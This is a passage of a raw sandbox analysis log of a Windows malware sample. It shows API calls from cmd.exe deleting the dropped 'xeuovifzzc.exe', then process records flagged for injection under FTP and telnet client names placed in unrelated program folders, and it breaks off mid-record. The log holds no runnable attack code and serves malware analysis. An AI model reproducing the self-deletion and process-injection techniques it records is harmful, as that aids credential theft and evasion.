SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0383.511] GetProcessHeap () returned 0x10000 [0383.511] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x17f00) returned 1 [0383.511] GetEnvironmentStringsW () returned 0x17328* [0383.511] GetProcessHeap () returned 0x10000 [0383.511] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0xbfe) returned 0x17f30 [0383.512] FreeEnvironmentStringsA (penv="=") returned 1 [0383.512] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2b70048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0383.512] GetProcessHeap () returned 0x10000 [0383.512] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x14ee0) returned 1 [0383.512] ??_V@YAXPAX@Z () returned 0x1 [0383.512] ??_V@YAXPAX@Z () returned 0x1 [0383.512] GetProcessHeap () returned 0x10000 [0383.512] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x400e) returned 0x18b38 [0383.512] GetProcessHeap () returned 0x10000 [0383.512] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x66) returned 0x14ee0 [0383.512] GetProcessHeap () returned 0x10000 [0383.512] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x18b38) returned 1 [0383.512] GetConsoleOutputCP () returned 0x1b5 [0383.513] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb43850 | out: lpCPInfo=0xb43850) returned 1 [0383.513] GetUserDefaultLCID () returned 0x409 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb3f82c, cchData=8 | out: lpLCData=":") returned 2 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x5bfbe8, cchData=128 | out: lpLCData="0") returned 2 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x5bfbe8, cchData=128 | out: lpLCData="0") returned 2 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x5bfbe8, cchData=128 | out: lpLCData="1") returned 2 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb3f81c, cchData=8 | out: lpLCData="/") returned 2 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb3f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb3f778, cchData=32 | out: lpLCData="Tue") returned 4 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb3f738, cchData=32 | out: lpLCData="Wed") returned 4 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb3f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb3f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb3f678, cchData=32 | out: lpLCData="Sat") returned 4 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb3f638, cchData=32 | out: lpLCData="Sun") returned 4 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb3f80c, cchData=8 | out: lpLCData=".") returned 2 [0383.514] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb3f7f8, cchData=8 | out: lpLCData=",") returned 2 [0383.514] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0383.516] GetProcessHeap () returned 0x10000 [0383.516] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x0, Size=0x20c) returned 0x15bf0 [0383.517] GetConsoleTitleW (in: lpConsoleTitle=0x15bf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\SysWOW64\\cmd.exe") returned 0x1c [0383.518] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000 [0383.518] GetProcAddress (hModule=0x772d0000, lpProcName="CopyFileExW") returned 0x772e4330 [0383.518] GetProcAddress (hModule=0x772d0000, lpProcName="IsDebuggerPresent") returned 0x772e5930 [0383.518] GetProcAddress (hModule=0x772d0000, lpProcName="SetConsoleInputExeNameW") returned 0x74d009d0 [0383.518] ??_V@YAXPAX@Z () returned 0x1 [0383.519] GetProcessHeap () returned 0x10000 [0383.519] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x400a) returned 0x18b38 [0383.519] GetProcessHeap () returned 0x10000 [0383.519] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x18b38) returned 1 [0383.519] _wcsicmp (_String1="del", _String2=")") returned 59 [0383.519] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0383.519] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0383.519] _wcsicmp (_String1="IF", _String2="del") returned 5 [0383.519] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0383.519] _wcsicmp (_String1="REM", _String2="del") returned 14 [0383.519] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0383.519] GetProcessHeap () returned 0x10000 [0383.519] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x58) returned 0x14850 [0383.519] GetProcessHeap () returned 0x10000 [0383.519] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x10) returned 0x148b0 [0383.520] GetProcessHeap () returned 0x10000 [0383.520] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x5c) returned 0x148c8 [0383.521] GetConsoleTitleW (in: lpConsoleTitle=0x5bfae0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\SysWOW64\\cmd.exe") returned 0x1c [0383.521] malloc (_Size=0xffce) returned 0x2b82688 [0383.522] ??_V@YAXPAX@Z () returned 0x5bf86c [0383.522] malloc (_Size=0xffce) returned 0x2b92660 [0383.522] ??_V@YAXPAX@Z () returned 0x5bf624 [0383.523] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0383.523] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0383.523] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0383.523] ??_V@YAXPAX@Z () returned 0x1 [0383.523] GetProcessHeap () returned 0x10000 [0383.523] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0xb0) returned 0x14930 [0383.523] GetProcessHeap () returned 0x10000 [0383.523] RtlReAllocateHeap (Heap=0x10000, Flags=0x0, Ptr=0x14930, Size=0x5c) returned 0x14930 [0383.523] GetProcessHeap () returned 0x10000 [0383.523] RtlSizeHeap (HeapHandle=0x10000, Flags=0x0, MemoryPointer=0x14930) returned 0x5c [0383.524] GetProcessHeap () returned 0x10000 [0383.524] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x64) returned 0x14998 [0383.524] malloc (_Size=0xffce) returned 0x2b92660 [0383.524] ??_V@YAXPAX@Z () returned 0x5bf5b4 [0383.524] GetProcessHeap () returned 0x10000 [0383.524] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0xb0) returned 0x15e08 [0383.524] GetProcessHeap () returned 0x10000 [0383.524] RtlReAllocateHeap (Heap=0x10000, Flags=0x0, Ptr=0x15e08, Size=0x5c) returned 0x15e08 [0383.524] GetProcessHeap () returned 0x10000 [0383.524] RtlSizeHeap (HeapHandle=0x10000, Flags=0x0, MemoryPointer=0x15e08) returned 0x5c [0383.524] GetProcessHeap () returned 0x10000 [0383.524] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x56) returned 0x15e70 [0383.524] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2b92660 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0383.524] malloc (_Size=0xffd2) returned 0x2ba2638 [0383.525] ??_V@YAXPAX@Z () returned 0x5bf36c [0383.525] malloc (_Size=0xffd2) returned 0x2bb2618 [0383.525] ??_V@YAXPAX@Z () returned 0x5beef4 [0383.526] malloc (_Size=0xffd2) returned 0x2bc25f8 [0383.526] ??_V@YAXPAX@Z () returned 0x5beef4 [0383.527] GetProcessHeap () returned 0x10000 [0383.527] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x38) returned 0x15ed0 [0383.527] malloc (_Size=0xffce) returned 0x2bd25d8 [0383.527] ??_V@YAXPAX@Z () returned 0x5be88c [0383.528] malloc (_Size=0xffce) returned 0x2be25b0 [0383.528] ??_V@YAXPAX@Z () returned 0x5be88c [0383.528] malloc (_Size=0xffce) returned 0x2bf2588 [0383.529] ??_V@YAXPAX@Z () returned 0x5be63c [0383.529] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2bf2588 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0383.529] ??_V@YAXPAX@Z () returned 0x1 [0383.529] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x5be8cc, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x2bd25d8, nFileSystemNameSize=0x7fe7 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x5be8cc*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0383.532] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0383.532] ??_V@YAXPAX@Z () returned 0x5be8a4 [0383.532] ??_V@YAXPAX@Z () returned 0x1 [0383.533] ??_V@YAXPAX@Z () returned 0x1 [0383.534] malloc (_Size=0xffce) returned 0x2bd25d8 [0383.534] ??_V@YAXPAX@Z () returned 0x5becb4 [0383.535] GetProcessHeap () returned 0x10000 [0383.535] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x2c) returned 0x14a08 [0383.535] GetProcessHeap () returned 0x10000 [0383.535] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x258) returned 0x15f10 [0383.535] _wcsicmp (_String1="xeuovifzzc.exe", _String2=".") returned 74 [0383.535] _wcsicmp (_String1="xeuovifzzc.exe", _String2="..") returned 74 [0383.535] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x20 [0383.535] GetProcessHeap () returned 0x10000 [0383.535] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0xffd6) returned 0x18b38 [0383.536] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x18b40 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0383.536] SetErrorMode (uMode=0x0) returned 0x1 [0383.536] SetErrorMode (uMode=0x1) returned 0x0 [0383.536] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", nBufferLength=0x7fe7, lpBuffer=0x2bd25d8, lpFilePart=0x5becd4 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", lpFilePart=0x5becd4*="xeuovifzzc.exe") returned 0x26 [0383.537] SetErrorMode (uMode=0x1) returned 0x1 [0383.537] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0383.537] GetProcessHeap () returned 0x10000 [0383.537] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x258) returned 0x16170 [0383.537] _wcsicmp (_String1="xeuovifzzc.exe", _String2=".") returned 74 [0383.537] _wcsicmp (_String1="xeuovifzzc.exe", _String2="..") returned 74 [0383.537] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x20 [0383.537] ??_V@YAXPAX@Z () returned 0x1 [0383.537] GetProcessHeap () returned 0x10000 [0383.537] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x26) returned 0x163d0 [0383.537] GetProcessHeap () returned 0x10000 [0383.537] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x38) returned 0x16400 [0383.537] GetProcessHeap () returned 0x10000 [0383.537] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x38) returned 0x16440 [0383.537] ??_V@YAXPAX@Z () returned 0x1 [0383.538] ??_V@YAXPAX@Z () returned 0x1 [0383.540] malloc (_Size=0xffd2) returned 0x2bb2618 [0383.541] ??_V@YAXPAX@Z () returned 0x5bf02c [0383.541] GetProcessHeap () returned 0x10000 [0383.541] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x8, Size=0x808) returned 0x10ae0 [0383.541] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", fInfoLevelId=0x0, lpFindFileData=0x10aec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x10aec) returned 0x16480 [0383.542] GetProcessHeap () returned 0x10000 [0383.542] RtlAllocateHeap (HeapHandle=0x10000, Flags=0x0, Size=0x14) returned 0x164c0 [0383.542] malloc (_Size=0xffd2) returned 0x2bc25f8 [0383.542] ??_V@YAXPAX@Z () returned 0x5bebbc [0383.542] malloc (_Size=0xffd2) returned 0x2bd25d8 [0383.542] ??_V@YAXPAX@Z () returned 0x5bebbc [0383.543] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0383.543] NtOpenFile (in: FileHandle=0x5bebe4, DesiredAccess=0x10000, ObjectAttributes=0x5bebac*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x5bebd4, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x5bebe4*=0xdc, IoStatusBlock=0x5bebd4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0383.544] RtlReleaseRelativeName () returned 0x5bebc4 [0383.544] RtlFreeAnsiString (AnsiString="\\") [0383.544] NtQueryVolumeInformationFile (in: FileHandle=0xdc, IoStatusBlock=0x5beb10, FsInformation=0x5beb18, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x5beb10, FsInformation=0x5beb18) returned 0x0 [0383.544] CloseHandle (hObject=0xdc) returned 1 [0383.547] ??_V@YAXPAX@Z () returned 0x1 [0383.547] ??_V@YAXPAX@Z () returned 0x1 [0383.551] FindNextFileW (in: hFindFile=0x16480, lpFindFileData=0x10aec | out: lpFindFileData=0x10aec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83cae880, ftCreationTime.dwHighDateTime=0x1d642e7, ftLastAccessTime.dwLowDateTime=0x84637f00, ftLastAccessTime.dwHighDateTime=0x1d642e7, ftLastWriteTime.dwLowDateTime=0x5a86e700, ftLastWriteTime.dwHighDateTime=0x1d63d40, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="xeuovifzzc.exe", cAlternateFileName="XEUOVI~1.EXE")) returned 0 [0383.552] GetLastError () returned 0x12 [0383.552] FindClose (in: hFindFile=0x16480 | out: hFindFile=0x16480) returned 1 [0383.552] ??_V@YAXPAX@Z () returned 0x1 [0383.554] GetProcessHeap () returned 0x10000 [0383.554] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x10ae0) returned 1 [0383.554] GetProcessHeap () returned 0x10000 [0383.554] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x16440) returned 1 [0383.554] GetProcessHeap () returned 0x10000 [0383.554] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x163d0) returned 1 [0383.554] GetProcessHeap () returned 0x10000 [0383.554] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x16400) returned 1 [0383.554] ??_V@YAXPAX@Z () returned 0x1 [0383.556] GetProcessHeap () returned 0x10000 [0383.557] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x16170) returned 1 [0383.557] GetProcessHeap () returned 0x10000 [0383.557] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x18b38) returned 1 [0383.557] GetProcessHeap () returned 0x10000 [0383.557] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x15f10) returned 1 [0383.557] GetProcessHeap () returned 0x10000 [0383.557] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x14a08) returned 1 [0383.557] GetProcessHeap () returned 0x10000 [0383.557] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x15ed0) returned 1 [0383.557] GetProcessHeap () returned 0x10000 [0383.557] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x15e70) returned 1 [0383.557] GetProcessHeap () returned 0x10000 [0383.557] RtlFreeHeap (HeapHandle=0x10000, Flags=0x0, BaseAddress=0x15e08) returned 1 [0383.557] ??_V@YAXPAX@Z () returned 0x1 [0383.558] ??_V@YAXPAX@Z () returned 0x1 [0383.560] _get_osfhandle (_FileHandle=1) returned 0x90 [0383.560] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0383.561] _get_osfhandle (_FileHandle=1) returned 0x90 [0383.561] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb43890 | out: lpMode=0xb43890) returned 1 [0383.561] _get_osfhandle (_FileHandle=0) returned 0x8c [0383.561] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb43894 | out: lpMode=0xb43894) returned 1 [0383.561] SetConsoleInputExeNameW () returned 0x1 [0383.561] GetConsoleOutputCP () returned 0x1b5 [0383.561] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb43850 | out: lpCPInfo=0xb43850) returned 1 [0383.561] SetThreadUILanguage (LangId=0x0) returned 0x7e0409 [0383.562] exit (_Code=0) [0383.562] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 70 os_tid = 0xa90 Process: id = "6" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x7181000" os_pid = "0x1268" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x13f8" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 67 os_tid = 0x12ec Thread: id = 68 os_tid = 0x12e8 Thread: id = 69 os_tid = 0x126c Process: id = "7" image_name = "3dftp.exe" filename = "c:\\program files (x86)\\windows portable devices\\3dftp.exe" page_root = "0x5c313000" os_pid = "0xc48" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Windows Portable Devices\\3dftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Portable Devices\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 71 os_tid = 0xce0 Process: id = "8" image_name = "absolutetelnet.exe" filename = "c:\\program files\\windowspowershell\\absolutetelnet.exe" page_root = "0x683ae000" os_pid = "0xdc0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\WindowsPowerShell\\absolutetelnet.exe\" " cur_dir = "C:\\Program Files\\WindowsPowerShell\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 72 os_tid = 0xdb8 Process: id = "9" image_name = "alftp.exe" filename = "c:\\program files\\mozilla firefox\\alftp.exe" page_root = "0x6d15e000" os_pid = "0x6d8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Mozilla Firefox\\alftp.exe\" " cur_dir = "C:\\Program Files\\Mozilla Firefox\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 73 os_tid = 0xc1c Process: id = "10" image_name = "barca.exe" filename = "c:\\program files\\windows nt\\barca.exe" page_root = "0x68f92000" os_pid = "0xa88" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Windows NT\\barca.exe\" " cur_dir = "C:\\Program Files\\Windows NT\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 75 os_tid = 0xa7c Process: id = "11" image_name = "bitkinex.exe" filename = "c:\\program files\\microsoft office 15\\bitkinex.exe" page_root = "0x6d59a000" os_pid = "0xdfc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Microsoft Office 15\\bitkinex.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office 15\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 78 os_tid = 0xe00 Process: id = "12" image_name = "coreftp.exe" filename = "c:\\program files (x86)\\msbuild\\coreftp.exe" page_root = "0x7bbdb000" os_pid = "0xc74" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\MSBuild\\coreftp.exe\" " cur_dir = "C:\\Program Files (x86)\\MSBuild\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 79 os_tid = 0xca4 Process: id = "13" image_name = "far.exe" filename = "c:\\program files\\windows photo viewer\\far.exe" page_root = "0x5f252000" os_pid = "0xb00" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Windows Photo Viewer\\far.exe\" " cur_dir = "C:\\Program Files\\Windows Photo Viewer\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 80 os_tid = 0xcd0 Process: id = "14" image_name = "filezilla.exe" filename = "c:\\program files\\windows portable devices\\filezilla.exe" page_root = "0x62160000" os_pid = "0xac8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Windows Portable Devices\\filezilla.exe\" " cur_dir = "C:\\Program Files\\Windows Portable Devices\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 81 os_tid = 0xdb4 Process: id = "15" image_name = "flashfxp.exe" filename = "c:\\program files\\rempl\\flashfxp.exe" page_root = "0x64ab2000" os_pid = "0x1fc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\rempl\\flashfxp.exe\" " cur_dir = "C:\\Program Files\\rempl\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 82 os_tid = 0x24c Process: id = "16" image_name = "fling.exe" filename = "c:\\program files\\microsoft office 15\\fling.exe" page_root = "0x5dabb000" os_pid = "0x2d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Microsoft Office 15\\fling.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office 15\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT 